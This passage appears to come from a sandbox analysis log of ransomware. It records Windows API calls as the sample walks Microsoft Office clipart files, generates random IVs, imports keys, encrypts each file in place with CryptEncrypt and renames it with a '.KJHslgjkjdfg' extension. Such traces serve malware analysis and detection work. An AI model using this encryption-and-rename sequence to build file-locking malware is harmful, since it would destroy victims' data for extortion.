lpOverlapped=0x0) returned 1 [0160.153] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x29a0, dwBufLen=0x29a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x29a0) returned 1 [0160.153] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.153] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x29a0, lpOverlapped=0x0) returned 1 [0160.153] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.153] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.153] SetEndOfFile (hFile=0x114) returned 1 [0160.156] GetProcessHeap () returned 0x2a0000 [0160.156] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.156] GetProcessHeap () returned 0x2a0000 [0160.156] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.156] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.kjhslgjkjdfg")) returned 1 [0160.157] CloseHandle (hObject=0x114) returned 1 [0160.158] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b873a00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b873a00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x844, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00625_.WMF", cAlternateFileName="")) returned 1 [0160.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.158] GetProcessHeap () returned 0x2a0000 [0160.158] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.159] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.159] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.159] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0160.161] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.161] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.161] GetProcessHeap () returned 0x2a0000 [0160.161] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.161] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.161] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.161] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.162] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.162] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.162] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.162] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.162] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.162] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.162] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.162] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.162] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x844, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x844, lpOverlapped=0x0) returned 1 [0160.162] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x850, dwBufLen=0x850 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x850) returned 1 [0160.162] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.162] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x850, lpOverlapped=0x0) returned 1 [0160.162] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.162] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.162] SetEndOfFile (hFile=0x114) returned 1 [0160.165] GetProcessHeap () returned 0x2a0000 [0160.165] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.165] GetProcessHeap () returned 0x2a0000 [0160.165] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.165] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.kjhslgjkjdfg")) returned 1 [0160.168] CloseHandle (hObject=0x114) returned 1 [0160.168] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5d7f800, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5d7f800, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00636_.WMF", cAlternateFileName="")) returned 1 [0160.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.323] GetProcessHeap () returned 0x2a0000 [0160.323] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.323] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.323] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.324] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.324] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.324] GetProcessHeap () returned 0x2a0000 [0160.324] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.324] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.324] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.324] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.349] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.349] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.349] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.349] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.350] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.350] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.350] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.350] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.350] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x620, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x620, lpOverlapped=0x0) returned 1 [0160.350] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x620, dwBufLen=0x620 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x620) returned 1 [0160.350] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.350] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x620, lpOverlapped=0x0) returned 1 [0160.350] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.350] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.350] SetEndOfFile (hFile=0x114) returned 1 [0160.353] GetProcessHeap () returned 0x2a0000 [0160.353] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.353] GetProcessHeap () returned 0x2a0000 [0160.353] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.353] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.kjhslgjkjdfg")) returned 1 [0160.354] CloseHandle (hObject=0x114) returned 1 [0160.354] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9db29500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9db29500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2ce2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00669_.WMF", cAlternateFileName="")) returned 1 [0160.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.355] GetProcessHeap () returned 0x2a0000 [0160.355] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.355] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.355] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.355] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0160.358] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.358] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.358] GetProcessHeap () returned 0x2a0000 [0160.358] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.358] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.358] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.358] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.358] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.358] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.358] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.358] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.358] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.359] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.359] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.359] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.359] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2ce2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2ce2, lpOverlapped=0x0) returned 1 [0160.359] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2cf0, dwBufLen=0x2cf0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2cf0) returned 1 [0160.360] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.360] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2cf0, lpOverlapped=0x0) returned 1 [0160.360] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.360] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.360] SetEndOfFile (hFile=0x114) returned 1 [0160.363] GetProcessHeap () returned 0x2a0000 [0160.363] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.363] GetProcessHeap () returned 0x2a0000 [0160.363] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.363] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.kjhslgjkjdfg")) returned 1 [0160.364] CloseHandle (hObject=0x114) returned 1 [0160.364] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39dc9c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39dc9c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x2454, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00681_.WMF", cAlternateFileName="")) returned 1 [0160.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.365] GetProcessHeap () returned 0x2a0000 [0160.365] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.365] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.365] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.365] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0160.367] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.367] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.367] GetProcessHeap () returned 0x2a0000 [0160.367] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.368] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.368] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.368] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.368] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.368] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.368] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.368] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.368] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.368] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.368] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.368] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.368] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2454, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2454, lpOverlapped=0x0) returned 1 [0160.369] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2460, dwBufLen=0x2460 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2460) returned 1 [0160.369] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.370] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2460, lpOverlapped=0x0) returned 1 [0160.370] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.370] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.370] SetEndOfFile (hFile=0x114) returned 1 [0160.373] GetProcessHeap () returned 0x2a0000 [0160.373] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.373] GetProcessHeap () returned 0x2a0000 [0160.373] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.373] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.kjhslgjkjdfg")) returned 1 [0160.374] CloseHandle 